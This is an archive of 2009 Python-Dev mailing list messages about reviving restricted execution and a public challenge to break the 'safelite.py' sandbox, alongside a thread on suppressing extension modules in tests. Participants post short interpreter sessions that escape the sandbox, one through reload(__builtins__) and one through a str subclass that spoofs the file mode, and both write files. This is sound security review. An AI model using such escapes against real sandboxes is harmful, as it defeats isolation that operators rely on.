In-Reply-To: <eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
	<49A1CE8D.9000508@v.loewis.de>
	<eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>
Message-ID: <bbaeab100902231132q4bb61ce6kfe3c67b39d666510@mail.gmail.com>

On Mon, Feb 23, 2009 at 09:23, tav <tav at espians.com> wrote:

> Dearest fellow Python lovers,
>
> Could one of you please review:
>
>  http://codereview.appspot.com/20051
>
> The patch is a mere 6 lines of code and provides the absolute minimum
> that is needed to secure the Python interpreter! [This patch is for
> Python 2.5.4 -- I can create one for the other branches too if
> wanted...]
>
> It turns out that the __builtins__ based restricted framework is pure
> genius and gives us nearly everything that's needed to secure our
> beloved interpreter. This patch simply closes the two holes in 2.5.x
> -- type.__subclasses__ and GeneratorType.gi_frame.
> GeneratorType.gi_code would need to be restricted in 2.6 and above.
>
> The problem with rexec and brethren have simply been that we tried to
> do class-based sandboxing. This approach is filled with dark
> exploitable corners. In contrast, a function-based approach gives us
> security through the simplicity of the object-capability model.
>

If you block __closure__ and __globals__ on function objects you will get a
semblance of a private namespace. That way you might (I have not thought
this one through like securing the interpreter for embedding) be able to get
what you need to safely pass in Python code through the globals of the code
being executed.

-Brett


>
> Or at least I currently believe so =)
>
> Once this patch gets through onto App Engine, I'll create an app with
> a sandboxed framework built around it and you can all prove me wrong.
> But, for the sake of my relationship with the missus, I hope not ;p
>
> Please note that this patch doesn't do anything to prevent any of the
> various crashers in Python. It is not the intention of this patch to
> make the interpreter invincible against segfaults or exhaustion of
> resource attacks. For that, I heartily recommend taking a look at
> PyPy's sandboxed interpreter and/or the magic of App Engine.
>
> In the extremely remote chance that I am right -- pigs could fly,
> right? ;p -- and the sandboxed App Engine app turns out to be
> impenetrable, I would like to then get approval to simplify the
> current restricted execution support in the interpreter and create a
> modernised equivalent of the rexec module.
>
> Does that seem reasonable to you all?
>
>  tav>
> http://github.com/tav/plexnet/tree/9dabc570a2499689e773d1af3599a29102071f80/source/plexnet/util
>
>  martin> What is the objective of this code? Is it a complete
>  martin> sandbox? If not, is a complete sandbox based on
>  martin> it available somehow for review?
>
> Martin, sorry, not yet.
>
> I'll code one once the patch gets through and release it for use/review.
>
> And if people like it, it could form the basis for the modernised
> rexec I mentioned above...
>
>  krstic> http://radian.org/~krstic/sandbox.py<http://radian.org/%7Ekrstic/sandbox.py>
>
> Thank you Ivan for that Genshi sample!
>
> Would you be interested in working with me on the Genshi aspect for
> the new sandbox framework?
>
>  pje> Just a question, but, if you just need a pure-python
>  pje> restricted environment for App Engine, why not just
>  pje> use the RestrictedPython package?
>
> I'm aware of the various Zope offerings.
>
> Performance is the answer to your question.
>
> Also, when it comes to security, I am a deep believer in simplicity.
>
> Thanks again!
>
> --
> love, tav
>
> plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
> http://tav.espians.com | @tav | skype:tavespian
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/brett%40python.org
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090223/33e9be29/attachment.htm>

From steven.bethard at gmail.com  Mon Feb 23 20:45:59 2009
From: steven.bethard at gmail.com (Steven Bethard)
Date: Mon, 23 Feb 2009 11:45:59 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <bbaeab100902231105n3bd9f462w2c0bbd28030da35a@mail.gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
	<20090221234646.GA19226@panix.com>
	<bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>
	<20090222041232.GA25580@panix.com>
	<bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>
	<49A2906A.3030202@gmail.com>
	<bbaeab100902231105n3bd9f462w2c0bbd28030da35a@mail.gmail.com>
Message-ID: <d11dcfba0902231145y244c8ae2q8083ee123a3eb821@mail.gmail.com>

On Mon, Feb 23, 2009 at 04:02, Nick Coghlan <ncoghlan at gmail.com> wrote:
> For example, a version that allows any number of extension modules to be
> suppressed when importing a module (defaulting to the Foo/_Foo naming):
>
>  import sys
>  def import_python_only(mod_name, *ext_names):
>    if not ext_names:
>        ext_names = (("_" + mod_name),)
>    orig_modules = {}
>    if name in sys.modules:
>      orig_modules[name] = sys.modules[name]
>      del sys.modules[name]
>    try:
>      for name in ext_names:
>        orig_modules[name] = sys.modules[name]
>        sys.modules[name] = 0
>      py_module = importlib.import_module(mod_name)
>    finally:
>      for name, module in orig_modules.items():
>        sys.modules[name] = module
>    return py_module

On Mon, Feb 23, 2009 at 11:05 AM, Brett Cannon <brett at python.org> wrote:
> Well, neither do I as your proposed approach below is what I do for
> warnings. But I think you and I, Nick, are more comfortable with mucking
> with imports than most people. =) I think some people early on in this
> thread said they didn't like the idea of screwing around with sys.modules.
> But doing that along with an import * from the extension module is probably
> the simplest solution.

+1 for something like Nick's code. No one has to know they're mucking
around with sys.modules - they just have to use the
import_python_only() function. (And I haven't seen anything in this
thread that's really any better.)

Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
        --- Bucky Katt, Get Fuzzy

From tav at espians.com  Mon Feb 23 21:10:29 2009
From: tav at espians.com (tav)
Date: Mon, 23 Feb 2009 20:10:29 +0000
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
Message-ID: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>

Hey all,

As an attempt to convince everyone of the merits of my functions-based
approach to security, I've come up with a simple challenge. I've
attached it as safelite.py

The challenge is simple:

* Open a fresh Python interpreter
* Do: >>> from safelite import FileReader
* You can use FileReader to read files on your filesystem
* Now find a way to *write* to the filesystem from your interpreter

Please note that the aim of this isn't to protect Python against
crashes/segfaults or exhaustion of resources attacks, so those don't
count.

I'm keen to know your experiences even if you don't manage to write to
the filesystem -- and especially if you do!

Dinner and drinks on me for an evening -- when you are next in London
or I am in your town -- to the first person who manages to break
safelite.py and write to the filesystem.

Good luck and thanks! =)

> If you block __closure__ and __globals__ on function objects you will get a
> semblance of a private namespace. That way you might (I have not thought
> this one through like securing the interpreter for embedding) be able to get
> what you need to safely pass in Python code through the globals of the code
> being executed.

Brett, this is exactly what I do. You also need to restrict func_code.
The patch is simply for closing the other loopholes:
type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible
in a patch of 6 lines of code thanks to Python's existing restricted
framework in the interpreter.

Please review and accept =)

* http://codereview.appspot.com/20051
* http://codereview.appspot.com/21051

Thanks!

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian
-------------- next part --------------
A non-text attachment was scrubbed...
Name: safelite.py
Type: text/x-python-script
Size: 5993 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090223/4f9feece/attachment.bin>

From brett at python.org  Mon Feb 23 21:31:18 2009
From: brett at python.org (Brett Cannon)
Date: Mon, 23 Feb 2009 12:31:18 -0800
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
Message-ID: <bbaeab100902231231v1e9d8f55q11c5e3b2c1110109@mail.gmail.com>

On Mon, Feb 23, 2009 at 12:10, tav <tav at espians.com> wrote:

> Hey all,
>
> As an attempt to convince everyone of the merits of my functions-based
> approach to security, I've come up with a simple challenge. I've
> attached it as safelite.py
>
> The challenge is simple:
>
> * Open a fresh Python interpreter
> * Do: >>> from safelite import FileReader
> * You can use FileReader to read files on your filesystem
> * Now find a way to *write* to the filesystem from your interpreter
>
> Please note that the aim of this isn't to protect Python against
> crashes/segfaults or exhaustion of resources attacks, so those don't
> count.
>
> I'm keen to know your experiences even if you don't manage to write to
> the filesystem -- and especially if you do!
>
> Dinner and drinks on me for an evening -- when you are next in London
> or I am in your town -- to the first person who manages to break
> safelite.py and write to the filesystem.
>
> Good luck and thanks! =)
>
> > If you block __closure__ and __globals__ on function objects you will get
> a
> > semblance of a private namespace. That way you might (I have not thought
> > this one through like securing the interpreter for embedding) be able to
> get
> > what you need to safely pass in Python code through the globals of the
> code
> > being executed.
>
> Brett, this is exactly what I do.


Ah, OK. I just quickly looked at your patches on codereview and noticed that
neither __closure__ or __globals__  have been touched.


> You also need to restrict func_code.


I assume you are worried about getting a hold of the code type and
constructing code objects from scratch?


>
> The patch is simply for closing the other loopholes:
> type.__subclasses__, GeneratorType.gi_frame and gi_code. All possible
> in a patch of 6 lines of code thanks to Python's existing restricted
> framework in the interpreter.
>
> Please review and accept =)
>

I personally don't have the time. The feedback in this email is all I can
spare.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090223/46058b63/attachment.htm>

From tav at espians.com  Mon Feb 23 21:37:11 2009
From: tav at espians.com (tav)
Date: Mon, 23 Feb 2009 20:37:11 +0000
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <bbaeab100902231231v1e9d8f55q11c5e3b2c1110109@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<bbaeab100902231231v1e9d8f55q11c5e3b2c1110109@mail.gmail.com>
Message-ID: <eb24b25b0902231237t70136673i17eaac37603cb7ad@mail.gmail.com>

Hey Brett,

> Ah, OK. I just quickly looked at your patches on codereview and noticed that
> neither __closure__ or __globals__  have been touched.

Those are already restricted by Python when __builtins__ is not the
same as the standard one.

> I assume you are worried about getting a hold of the code type and
> constructing code objects from scratch?

Right. And, func_code is restricted too so didn't need any additional support.

>> Please review and accept =)

> I personally don't have the time. The feedback in this email is all I can
> spare.

That's cool -- thanks for this much!

I'm hoping someone out there has a few spare minutes.

The patch is just 6 lines of code...

Someone? Pretty please? =)

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | @tav | skype:tavespian

From steven.bethard at gmail.com  Mon Feb 23 21:40:15 2009
From: steven.bethard at gmail.com (Steven Bethard)
Date: Mon, 23 Feb 2009 12:40:15 -0800
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
Message-ID: <d11dcfba0902231240v1c38dd1by9a8edff44a0fa9e8@mail.gmail.com>

On Mon, Feb 23, 2009 at 12:10 PM, tav <tav at espians.com> wrote:
> Hey all,
>
> As an attempt to convince everyone of the merits of my functions-based
> approach to security, I've come up with a simple challenge. I've
> attached it as safelite.py
>
> The challenge is simple:
>
> * Open a fresh Python interpreter
> * Do: >>> from safelite import FileReader
> * You can use FileReader to read files on your filesystem
> * Now find a way to *write* to the filesystem from your interpreter

If you really want people to try and break it, I suggest you send it
to c.l.py - there are load of people there with too much time on their
hands. ;-)

Steve
-- 
I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
tiny blip on the distant coast of sanity.
        --- Bucky Katt, Get Fuzzy

From guido at python.org  Mon Feb 23 22:11:42 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 13:11:42 -0800
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <d11dcfba0902231240v1c38dd1by9a8edff44a0fa9e8@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<d11dcfba0902231240v1c38dd1by9a8edff44a0fa9e8@mail.gmail.com>
Message-ID: <ca471dc20902231311l4aada7b0p1f4017e1a90754df@mail.gmail.com>

I sent a link out to Twitter...

On Mon, Feb 23, 2009 at 12:40 PM, Steven Bethard
<steven.bethard at gmail.com> wrote:
> On Mon, Feb 23, 2009 at 12:10 PM, tav <tav at espians.com> wrote:
>> Hey all,
>>
>> As an attempt to convince everyone of the merits of my functions-based
>> approach to security, I've come up with a simple challenge. I've
>> attached it as safelite.py
>>
>> The challenge is simple:
>>
>> * Open a fresh Python interpreter
>> * Do: >>> from safelite import FileReader
>> * You can use FileReader to read files on your filesystem
>> * Now find a way to *write* to the filesystem from your interpreter
>
> If you really want people to try and break it, I suggest you send it
> to c.l.py - there are load of people there with too much time on their
> hands. ;-)
>
> Steve
> --
> I'm not *in*-sane. Indeed, I am so far *out* of sane that you appear a
> tiny blip on the distant coast of sanity.
>        --- Bucky Katt, Get Fuzzy
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From victor.stinner at haypocalc.com  Mon Feb 23 22:12:12 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Mon, 23 Feb 2009 22:12:12 +0100
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
Message-ID: <200902232212.13039.victor.stinner@haypocalc.com>

> The challenge is simple:
>
> * Open a fresh Python interpreter
> * Do: >>> from safelite import FileReader
> * You can use FileReader to read files on your filesystem
> * Now find a way to *write* to the filesystem from your interpreter

Well, the challenge is to get access to a module. And... it's quite simple :-p

$ ./python
>>> from safelite import FileReader
>>> __builtins__.file
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'file'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> file('0wn3d', 'w').write('w00t\n')
>>>
$ cat 0wn3d
w00t

> Dinner and drinks on me for an evening -- when you are next in London
> or I am in your town -- to the first person who manages to break
> safelite.py and write to the filesystem.

Cool. It's a good reason to go to Pycon UK this yeak ;-)

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From ncoghlan at gmail.com  Mon Feb 23 22:23:10 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 24 Feb 2009 07:23:10 +1000
Subject: [Python-Dev] Choosing a best practice solution for
 Python/extension modules
In-Reply-To: <bbaeab100902231105n3bd9f462w2c0bbd28030da35a@mail.gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>	
	<20090221171749.12853.1251500684.divmod.quotient.12469@henry.divmod.com>	
	<bbaeab100902211107la0003edx2a1fa3c675481e71@mail.gmail.com>	
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>	
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>	
	<20090221234646.GA19226@panix.com>	
	<bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>	
	<20090222041232.GA25580@panix.com>	
	<bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>	
	<49A2906A.3030202@gmail.com>
	<bbaeab100902231105n3bd9f462w2c0bbd28030da35a@mail.gmail.com>
Message-ID: <49A313BE.4090003@gmail.com>

Brett Cannon wrote:
> Well, neither do I as your proposed approach below is what I do for
> warnings.

It's possible I actually had test_warnings.py open in another window
while writing that example function... ;)

As Steven said, your concerns are precisely why I'm suggesting hiding
this in a helper function - so people that aren't quite as comfortable
playing games with sys.modules can still use it to suppress particular
extension modules when writing tests. Initially for the Python
regression test suite only, but perhaps eventually in importlib if we're
happy with the way it works out for us.

Created http://bugs.python.org/issue5354 and assigned it to myself so we
don't forget about it.

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From tav at espians.com  Mon Feb 23 22:34:12 2009
From: tav at espians.com (tav)
Date: Mon, 23 Feb 2009 21:34:12 +0000
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <200902232212.13039.victor.stinner@haypocalc.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<200902232212.13039.victor.stinner@haypocalc.com>
Message-ID: <eb24b25b0902231334o58633befn765ff97aa3c5bcc6@mail.gmail.com>

Woo!

  victor> >>> file('0wn3d', 'w').write('w00t\n')
  victor> Cool. It's a good reason to go to Pycon UK this yeak ;-)

Thank you so much Victor! Please mail/phone me when you are heading to
London and I shall honour the evening out!

Now, how about this adapted version without reload?

I could make life much easier for myself by just removing all builtins
except the fundamental types, but this is way more interesting!!

Please continue the challenge the same as before, but with the new safelite.py

  steven> If you really want people to try and break it, I
  steven> suggest you send it to c.l.py

Done.

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian
-------------- next part --------------
A non-text attachment was scrubbed...
Name: safelite.py
Type: text/x-python-script
Size: 6033 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090223/4e69836e/attachment.bin>

From guido at python.org  Mon Feb 23 22:36:47 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 13:36:47 -0800
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <200902232212.13039.victor.stinner@haypocalc.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<200902232212.13039.victor.stinner@haypocalc.com>
Message-ID: <ca471dc20902231336j25fde4bat61e8d8385edc9918@mail.gmail.com>

On Mon, Feb 23, 2009 at 1:12 PM, Victor Stinner
<victor.stinner at haypocalc.com> wrote:
>> The challenge is simple:
>>
>> * Open a fresh Python interpreter
>> * Do: >>> from safelite import FileReader
>> * You can use FileReader to read files on your filesystem
>> * Now find a way to *write* to the filesystem from your interpreter
>
> Well, the challenge is to get access to a module. And... it's quite simple :-p
>
> $ ./python
>>>> from safelite import FileReader
>>>> __builtins__.file
> Traceback (most recent call last):
>  File "<stdin>", line 1, in <module>
> AttributeError: 'module' object has no attribute 'file'
>>>> reload(__builtins__)
> <module '__builtin__' (built-in)>
>>>> file('0wn3d', 'w').write('w00t\n')
>>>>
> $ cat 0wn3d
> w00t
>
>> Dinner and drinks on me for an evening -- when you are next in London
>> or I am in your town -- to the first person who manages to break
>> safelite.py and write to the filesystem.
>
> Cool. It's a good reason to go to Pycon UK this yeak ;-)

Tav should have made another stipulation: the attack must not be
trivial to fix. This one seems trivial, e.g. by adding 'reload' to the
list in secure_python_builtins().

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From guido at python.org  Mon Feb 23 22:38:21 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 13:38:21 -0800
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <ca471dc20902231336j25fde4bat61e8d8385edc9918@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<200902232212.13039.victor.stinner@haypocalc.com>
	<ca471dc20902231336j25fde4bat61e8d8385edc9918@mail.gmail.com>
Message-ID: <ca471dc20902231338l18736be2rfa8b14fd36ecd7a7@mail.gmail.com>

On Mon, Feb 23, 2009 at 1:36 PM, Guido van Rossum <guido at python.org> wrote:
> On Mon, Feb 23, 2009 at 1:12 PM, Victor Stinner
> <victor.stinner at haypocalc.com> wrote:
>>> The challenge is simple:
>>>
>>> * Open a fresh Python interpreter
>>> * Do: >>> from safelite import FileReader
>>> * You can use FileReader to read files on your filesystem
>>> * Now find a way to *write* to the filesystem from your interpreter
>>
>> Well, the challenge is to get access to a module. And... it's quite simple :-p
>>
>> $ ./python
>>>>> from safelite import FileReader
>>>>> __builtins__.file
>> Traceback (most recent call last):
>>  File "<stdin>", line 1, in <module>
>> AttributeError: 'module' object has no attribute 'file'
>>>>> reload(__builtins__)
>> <module '__builtin__' (built-in)>
>>>>> file('0wn3d', 'w').write('w00t\n')
>>>>>
>> $ cat 0wn3d
>> w00t
>>
>>> Dinner and drinks on me for an evening -- when you are next in London
>>> or I am in your town -- to the first person who manages to break
>>> safelite.py and write to the filesystem.
>>
>> Cool. It's a good reason to go to Pycon UK this yeak ;-)
>
> Tav should have made another stipulation: the attack must not be
> trivial to fix. This one seems trivial, e.g. by adding 'reload' to the
> list in secure_python_builtins().

I take it back, we need to find all the trivial ones too.

BTW Tav, you ought to create a small website for this challenge. A
blog post or wiki page would suffice.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From victor.stinner at haypocalc.com  Mon Feb 23 23:10:59 2009
From: victor.stinner at haypocalc.com (Victor Stinner)
Date: Mon, 23 Feb 2009 23:10:59 +0100
Subject: [Python-Dev] Challenge: Please break this! (was: Reviving
	restricted mode)
In-Reply-To: <ca471dc20902231336j25fde4bat61e8d8385edc9918@mail.gmail.com>
References: <eb24b25b0902231210i7fc9f9aal713b99aa51f8ec6a@mail.gmail.com>
	<200902232212.13039.victor.stinner@haypocalc.com>
	<ca471dc20902231336j25fde4bat61e8d8385edc9918@mail.gmail.com>
Message-ID: <200902232310.59615.victor.stinner@haypocalc.com>

Le Monday 23 February 2009 22:36:47, vous avez ?crit?:
> >>>> reload(__builtins__)
> (...)
>
> Tav should have made another stipulation: the attack must not be
> trivial to fix.

Why not? Any hole is enough to break a jail. The cracker doesn't care if it's 
trivial to fix or not :-p

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/

From brett at python.org  Mon Feb 23 23:12:06 2009
From: brett at python.org (Brett Cannon)
Date: Mon, 23 Feb 2009 14:12:06 -0800
Subject: [Python-Dev] Choosing a best practice solution for
	Python/extension modules
In-Reply-To: <49A313BE.4090003@gmail.com>
References: <bbaeab100902201345y55f77688g18282dacec7ad5f6@mail.gmail.com>
	<20090221194331.12555.1060925659.divmod.xquotient.4677@weber.divmod.com>
	<bbaeab100902211317h65dee5bfic27872cf47ff699a@mail.gmail.com>
	<20090221234646.GA19226@panix.com>
	<bbaeab100902211656i5229ae3brfd0a7b12ae9869ae@mail.gmail.com>
	<20090222041232.GA25580@panix.com>
	<bbaeab100902221354u2f9db757k882771b27a54e5e3@mail.gmail.com>
	<49A2906A.3030202@gmail.com>
	<bbaeab100902231105n3bd9f462w2c0bbd28030da35a@mail.gmail.com>
	<49A313BE.4090003@gmail.com>
Message-ID: <bbaeab100902231412q6aed56a3i23875d55d46c2924@mail.gmail.com>

On Mon, Feb 23, 2009 at 13:23, Nick Coghlan <ncoghlan at gmail.com> wrote:

> Brett Cannon wrote:
> > Well, neither do I as your proposed approach below is what I do for
> > warnings.
>
> It's possible I actually had test_warnings.py open in another window
> while writing that example function... ;)
>
> As Steven said, your concerns are precisely why I'm suggesting hiding
> this in a helper function - so people that aren't quite as comfortable
> playing games with sys.modules can still use it to suppress particular
> extension modules when writing tests. Initially for the Python
> regression test suite only, but perhaps eventually in importlib if we're
> happy with the way it works out for us.
>

Sounds like a plan.


>
> Created http://bugs.python.org/issue5354 and assigned it to myself so we
> don't forget about it.


If we do end up going with this approach I am willing to help out with
moving the standard library over.

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090223/857dbd1e/attachment.htm>

From tav at espians.com  Mon Feb 23 23:41:30 2009
From: tav at espians.com (tav)
Date: Mon, 23 Feb 2009 22:41:30 +0000
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
Message-ID: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>

> I take it back, we need to find all the trivial ones too.

Agreed!

> BTW Tav, you ought to create a small website for this challenge. A
> blog post or wiki page would suffice.

Done.

http://tav.espians.com/a-challenge-to-break-python-security.html

Please blog/retweet and of course, try the challenge yourselves =)

-- 
love, tav

plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
http://tav.espians.com | http://twitter.com/tav | skype:tavespian

From martin at v.loewis.de  Mon Feb 23 23:41:30 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Mon, 23 Feb 2009 23:41:30 +0100
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>	
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>	
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>	
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>	
	<49A1CE8D.9000508@v.loewis.de>
	<eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>
Message-ID: <49A3261A.8040903@v.loewis.de>

> Could one of you please review:
> 
>   http://codereview.appspot.com/20051
> 
> The patch is a mere 6 lines of code and provides the absolute minimum
> that is needed to secure the Python interpreter!

Unlike Guido, I'm not quite willing to your word for it.

OTOH, the patch looks harmless (with minor corrections). It could
be considered a bug fix for the current set of restricted attributes
(although I do wish somebody would present a design telling what
reflective attributes must be restricted and why; the current
set looks arbitrary)

Regards,
Martin


From martin at v.loewis.de  Mon Feb 23 23:42:53 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Mon, 23 Feb 2009 23:42:53 +0100
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <eb24b25b0902230937i27841dddjf861a78f5c36113d@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>	
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>	
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>	
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>	
	<49A1CE8D.9000508@v.loewis.de>	
	<eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>
	<eb24b25b0902230937i27841dddjf861a78f5c36113d@mail.gmail.com>
Message-ID: <49A3266D.5050505@v.loewis.de>

> And, here's a version for Python 2.6+ -- diffed against an svn
> checkout of the current python/trunk:
> 
>   http://codereview.appspot.com/21051/show
> 
> Please review also. Cheers!

No need to provide two versions. Regular back-merging should be
able to deal with that just fine.

Regards,
Martin


From guido at python.org  Mon Feb 23 23:51:30 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 23 Feb 2009 14:51:30 -0800
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
Message-ID: <ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>

TWIW, on Twitter, Ian Bicking just came up with a half-solution. I
figured out the other half. I guess you own Ian drinks and me dinner.
:-)

$ python
Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09)
[GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from safelite import FileReader
>>> class S(str):
...   def __eq__(self, o): print o; return 'r' == o
...
>>> f = FileReader('w00t', S('w'))
r
>>> f.close()
>>>
$ ls -l w00t
-rw-r----- 1 guido eng 0 Feb 23 14:50 w00t
$


On Mon, Feb 23, 2009 at 2:41 PM, tav <tav at espians.com> wrote:
>> I take it back, we need to find all the trivial ones too.
>
> Agreed!
>
>> BTW Tav, you ought to create a small website for this challenge. A
>> blog post or wiki page would suffice.
>
> Done.
>
> http://tav.espians.com/a-challenge-to-break-python-security.html
>
> Please blog/retweet and of course, try the challenge yourselves =)
>
> --
> love, tav
>
> plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
> http://tav.espians.com | http://twitter.com/tav | skype:tavespian
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From steve at holdenweb.com  Mon Feb 23 23:58:21 2009
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 23 Feb 2009 17:58:21 -0500
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>
Message-ID: <gnv9mf$lc4$1@ger.gmane.org>

Don't I remember the previous restricted module dying a similar "death
of 1,000 cuts" before it was concluded to be unsafe at any height and
abandoned?

regards
 Steve

Guido van Rossum wrote:
> TWIW, on Twitter, Ian Bicking just came up with a half-solution. I
> figured out the other half. I guess you own Ian drinks and me dinner.
> :-)
> 
> $ python
> Python 2.5.3a0 (release25-maint:64494, Jun 23 2008, 19:17:09)
> [GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>>>> from safelite import FileReader
>>>> class S(str):
